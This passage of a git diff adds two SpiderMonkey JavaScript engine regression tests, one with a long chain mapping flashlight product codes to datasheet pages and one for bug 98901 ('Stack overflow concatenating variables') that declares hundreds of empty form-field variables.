+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="t35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="t50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="w353"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="3251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
+ else if(IDText.value=="4212"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
+ else if(IDText.value=="4251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
+ else if(IDText.value=="5109"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
+ else if(IDText.value=="2251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e251rc210"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="erg2c1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="glo4aa1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="rc220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="rc250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="x112"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="x215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="4215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="5215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="6212"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="bas24a"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="db24a1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcbg"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kccl"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcdl"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcl2bu1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcwl"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="ltcr"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="lteb"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="ltpt"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="sl240"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="v220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="5100"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="8209"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="8215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="9450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="f101"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="f220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="f420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="fab4dcm"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="fl450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="k221"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="k251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="led4aa1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="sp220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="tw420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="tw450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="wp220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="wp250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="cfl420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/premium.htm"
+ return true
+ }
+ else if(IDText.value=="d410"){
+ //Checks for id entry
+ res="../datasheets/flashlights/premium.htm"
+ return true
+ }
+ else if(IDText.value=="d420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/premium.htm"
+ return true
+ }
+ else if(IDText.value=="fn450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in351"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in421"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="k220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="k250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="r215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="r250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="r450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="tuf4d1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v109"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v115"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="val2dl1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+
+ else if(IDText.value=="459"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="208ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="231ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1151"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1259"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1351"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1359"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="3251r"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="3251wh"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="4212wh"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="4250ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="5109ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="6212wh"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="9101ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="e250y"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="e251y"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in253"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="indwandr"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="indwandy"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="r215ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="pr2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr3"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr4"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr6"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr7"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr12"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr13"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr35"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="112"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="222"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="243"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="258"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="407"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="425"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="1156"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="1651"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="kpr102"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr103"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr104"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr113"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr116"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr802"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="skpr823"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="hpr50"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="hpr51"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="hpr52"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="hpr53"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="f4t5"){
+ //Checks for id entry
+ res="../datasheets/flashlights/fluorescent.htm"
+ return true
+ }
+ else if(IDText.value=="f6t5"){
+ //Checks for id entry
+ res="../datasheets/flashlights/fluorescent.htm"
+ return true
+ }
+ else if(IDText.value=="t1-1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/highintensity.htm"
+ return true
+ }
+ else if(IDText.value=="t1-2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/highintensity.htm"
+ return true
+ }
+ else if(IDText.value=="t2-2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="t2-3"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="t2-4"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="tx15-2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="4546ib"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrialbulb.htm"
+ return true
+ }
+ else if(IDText.value=="LED"){
+ //Checks for id entry
+ res="../datasheets/flashlights/led.htm"
+ return true
+ }
+
+
+
+ else if(IDText.value=="108"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="209"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="330"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="330y"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="331"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="331y"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="1251bk"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="2253"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3233"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3253"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3415"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3452"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="4220"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="4453"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="5154"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="5251"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="7369"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="8115"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="8415"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="b170"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="bkc1"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="d620"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="d820"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e252"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e350"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e420"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="em290"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="em420"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f215"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f415"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="h100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="h250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="h350"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="in25t"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="kcdb"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="kcsg"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="kctw"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="rc100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="rc251"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="rc290"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="t430"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="v235"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="x250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="x350"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+
+
+
+ else {
+ print("You have entered an Invalid Product Number...Please try 'Select Product Group' search.")
+ return false
+ }
+
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-98901.js b/js/src/tests/non262/regress/regress-98901.js
new file mode 100644
index 0000000000..e6203e0b6e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-98901.js
@@ -0,0 +1,3892 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 98901;
+var summary = 'Stack overflow concatenating variables';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+UNID="";
+shrg="0";
+EMAL="";
+PASS="";
+PASV="";
+FNAM="";
+LNAM="";
+ADD1="";
+ADD2="";
+CITY="";
+STAT="";
+STATi=0;
+ZIPC="";
+PHON="";
+AGE2="";
+AGE2i=0;
+AGES="";
+SEXX="";
+SEXXi=-1;
+OCCU="";
+OCCUi=0;
+OCCO="";
+MODL="";
+SRNU="";
+MNTH="";
+MNTHi=0;
+YEAR="";
+YEARi=0;
+POPR="";
+POPRi=0;
+OPOP="";
+WHEN="";
+WHENi=-1;
+INFL="";
+INFLi=0;
+HM01="";
+HM02="";
+HM03="";
+HM04="";
+HM05="";
+HM06="";
+HM07="";
+HM08="";
+HM09="";
+HM10="";
+HM11="";
+HM12="";
+HM13="";
+HM14="";
+HM15="";
+HM16="";
+HM17="";
+HM18="";
+HM19="";
+HM20="";
+HM21="";
+HM22="";
+HM23="";
+HM24="";
+HS01="";
+HS02="";
+HS03="";
+HS04="";
+HS05="";
+HS06="";
+HS07="";
+HS08="";
+HS09="";
+HS10="";
+HS11="";
+HS12="";
+HS13="";
+HS14="";
+HS15="";
+HS16="";
+HS17="";
+HS18="";
+HS19="";
+HS20="";
+HS21="";
+HS22="";
+HS23="";
+HS24="";
+PL01="";
+PL01i=-1;
+PL02="";
+PL02i=-1;
+PL03="";
+PL03i=-1;
+PL04="";
+PL04i=-1;
+PL05="";
+PL05i=-1;
+PL06="";
+PL06i=-1;
+PL07="";
+PL07i=-1;
+PL08="";
+PL08i=-1;
+PL09="";
+PL09i=-1;
+PL10="";
+PL10i=-1;
+PL11="";
+PL11i=-1;
+PL12="";
+PL12i=-1;
+PL13="";
+PL13i=-1;
+PL14="";
+PL14i=-1;
+PL15="";
+PL15i=-1;
+PL16="";
+PL16i=-1;
+PL17="";
+PL17i=-1;
+PL18="";
+PL18i=-1;
+PL19="";
+PL19i=-1;
+PL20="";
+PL20i=-1;
+PL21="";
+PL21i=-1;
+PL22="";
+PL22i=-1;
+PL23="";
+PL23i=-1;
+PL24="";
+PL24i=-1;
+TVSO="";
+TVSOi=-1;
+FNDS="";
+FNDSi=-1;
+WGFT="";
+WGFTi=0;
+CE01="";
+CE01i=-1;
+CE02="";
+CE02i=-1;
+NEMA="Yes";
+NEMAi=0;
+PPUR="";
+PPURi=-1;
+PPUO="";
+CON1="";
+CON2="";
+CON3="";
+STNM="";
+STNMi=0;
+FE01="";
+FE01i=0;
+FE02="";
+FE03="";
+FE04="";
+FE05="";
+FE06="";
+FE07="";
+FE08="";
+FE09="";
+FE10="";
+FE11="";
+FE12="";
+FE13="";
+FE14="";
+FE15="";
+FE16="";
+FE17="";
+FE18="";
+FE19="";
+FE20="";
+FE21="";
+FE22="";
+FE23="";
+FE24="";
+FE25="";
+FE26="";
+FE27="";
+FE28="";
+FE29="";
+FE30="";
+FE31="";
+FE32="";
+FE33="";
+FE34="";
+FEOT="";
+NF01="";
+NF02="";
+NF03="";
+NF04="";
+NF05="";
+NF06="";
+NF07="";
+NF08="";
+NF09="";
+NF10="";
+NF11="";
+NF12="";
+NF13="";
+NF14="";
+NF15="";
+NF16="";
+NF17="";
+NF18="";
+NF19="";
+NFOT="";
+OSYS="";
+OSYSi=0;
+OSOT="";
+IMGS="";
+PBY1="";
+PBY2="";
+PBY3="";
+PBY4="";
+PBY5="";
+PBY6="";
+PBY7="";
+PBY8="";
+OPBY="";
+OWNC="";
+OWNCi=-1;
+CUSE="";
+CUSEi=-1;
+OCUS="";
+WCAM="";
+WCAMi=0;
+OC01="";
+OC02="";
+OC03="";
+OC04="";
+OC05="";
+OC06="";
+OC07="";
+OC08="";
+OC09="";
+OC10="";
+OC11="";
+CU01="";
+CU02="";
+CU03="";
+CU04="";
+CU05="";
+CU06="";
+CU07="";
+CU08="";
+CU09="";
+CU10="";
+PLYB="";
+PLYBi=0;
+CCON="";
+CCONi=0;
+BC01="";
+BC02="";
+BC03="";
+BC04="";
+BC05="";
+BC06="";
+IN01="";
+IN02="";
+IN03="";
+IN04="";
+IN05="";
+IN06="";
+IN07="";
+IN08="";
+IN09="";
+IN10="";
+IN11="";
+IN12="";
+IN13="";
+IN14="";
+IN15="";
+FI01="";
+FI02="";
+FI03="";
+FI04="";
+FI05="";
+FI06="";
+FI07="";
+FI08="";
+FI09="";
+FI10="";
+FI11="";
+FI12="";
+FI13="";
+FI14="";
+FI15="";
+FI16="";
+FI17="";
+FI18="";
+FI19="";
+FI20="";
+FI21="";
+FI22="";
+FI23="";
+FI24="";
+FI25="";
+FI26="";
+FI27="";
+FI28="";
+FI29="";
+FI30="";
+FI31="";
+FI32="";
+FI33="";
+FI34="";
+FI35="";
+FI36="";
+FI37="";
+FI38="";
+FI39="";
+FI40="";
+FI41="";
+FI42="";
